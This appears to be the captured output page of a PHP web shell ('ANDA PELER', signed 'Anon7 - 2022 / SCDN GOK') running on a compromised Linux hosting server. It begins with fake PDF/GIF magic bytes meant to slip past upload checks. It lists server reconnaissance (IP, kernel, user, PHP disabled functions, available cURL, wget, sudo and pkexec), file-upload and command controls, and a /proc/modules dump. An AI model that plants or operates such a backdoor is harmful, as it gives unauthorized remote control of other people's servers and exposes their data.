%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.93
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/modules
binfmt_misc 24576 1 - Live 0x0000000000000000
nft_ct 20480 30 - Live 0x0000000000000000
nf_tables_set 49152 1 - Live 0x0000000000000000
nft_counter 16384 52 - Live 0x0000000000000000
nft_chain_nat 16384 8 - Live 0x0000000000000000
xt_REDIRECT 16384 2 - Live 0x0000000000000000
nf_nat 49152 2 nft_chain_nat,xt_REDIRECT, Live 0x0000000000000000
nf_conntrack 176128 3 nft_ct,xt_REDIRECT,nf_nat, Live 0x0000000000000000
nf_defrag_ipv6 20480 1 nf_conntrack, Live 0x0000000000000000
nf_defrag_ipv4 16384 1 nf_conntrack, Live 0x0000000000000000
xt_multiport 16384 18 - Live 0x0000000000000000
ipt_REJECT 16384 0 - Live 0x0000000000000000
nf_reject_ipv4 16384 1 ipt_REJECT, Live 0x0000000000000000
ip6t_REJECT 16384 0 - Live 0x0000000000000000
nf_reject_ipv6 16384 1 ip6t_REJECT, Live 0x0000000000000000
tcp_diag 16384 0 - Live 0x0000000000000000
inet_diag 24576 1 tcp_diag, Live 0x0000000000000000
xt_owner 16384 16 - Live 0x0000000000000000
nft_compat 20480 36 - Live 0x0000000000000000
ib_core 405504 0 - Live 0x0000000000000000
loop 40960 2 - Live 0x0000000000000000
intel_rapl_msr 16384 0 - Live 0x0000000000000000
iTCO_wdt 16384 0 - Live 0x0000000000000000
intel_rapl_common 24576 1 intel_rapl_msr, Live 0x0000000000000000
iTCO_vendor_support 16384 1 iTCO_wdt, Live 0x0000000000000000
amd_energy 16384 0 - Live 0x0000000000000000
crct10dif_pclmul 16384 1 - Live 0x0000000000000000
crc32_pclmul 16384 0 - Live 0x0000000000000000
ghash_clmulni_intel 16384 0 - Live 0x0000000000000000
virtio_gpu 73728 0 - Live 0x0000000000000000
i2c_i801 28672 0 - Live 0x0000000000000000
drm_shmem_helper 16384 1 virtio_gpu, Live 0x0000000000000000
pcspkr 16384 0 - Live 0x0000000000000000
nf_tables 196608 285 nft_ct,nf_tables_set,nft_counter,nft_chain_nat,nft_compat, Live 0x0000000000000000
drm_kms_helper 184320 3 virtio_gpu, Live 0x0000000000000000
libcrc32c 16384 3 nf_nat,nf_conntrack,nf_tables, Live 0x0000000000000000
lpc_ich 28672 0 - Live 0x0000000000000000
syscopyarea 16384 1 drm_kms_helper, Live 0x0000000000000000
joydev 24576 0 - Live 0x0000000000000000
sysfillrect 16384 1 drm_kms_helper, Live 0x0000000000000000
sysimgblt 16384 1 drm_kms_helper, Live 0x0000000000000000
nfnetlink 16384 2 nft_compat,nf_tables, Live 0x0000000000000000
drm 602112 4 virtio_gpu,drm_shmem_helper,drm_kms_helper, Live 0x0000000000000000
virtio_balloon 20480 0 - Live 0x0000000000000000
sunrpc 585728 1 - Live 0x0000000000000000
vfat 20480 1 - Live 0x0000000000000000
fat 86016 1 vfat, Live 0x0000000000000000
ext4 778240 2 - Live 0x0000000000000000
mbcache 16384 1 ext4, Live 0x0000000000000000
jbd2 131072 1 ext4, Live 0x0000000000000000
sr_mod 28672 0 - Live 0x0000000000000000
sd_mod 57344 2 - Live 0x0000000000000000
cdrom 65536 1 sr_mod, Live 0x0000000000000000
t10_pi 16384 1 sd_mod, Live 0x0000000000000000
sg 40960 0 - Live 0x0000000000000000
ahci 40960 0 - Live 0x0000000000000000
libahci 40960 1 ahci, Live 0x0000000000000000
libata 270336 2 ahci,libahci, Live 0x0000000000000000
crc32c_intel 24576 4 - Live 0x0000000000000000
serio_raw 16384 0 - Live 0x0000000000000000
virtio_scsi 20480 2 - Live 0x0000000000000000
virtio_net 61440 0 - Live 0x0000000000000000
virtio_console 36864 1 - Live 0x0000000000000000
net_failover 24576 1 virtio_net, Live 0x0000000000000000
failover 16384 1 net_failover, Live 0x0000000000000000

Anon7 - 2022
SCDN GOK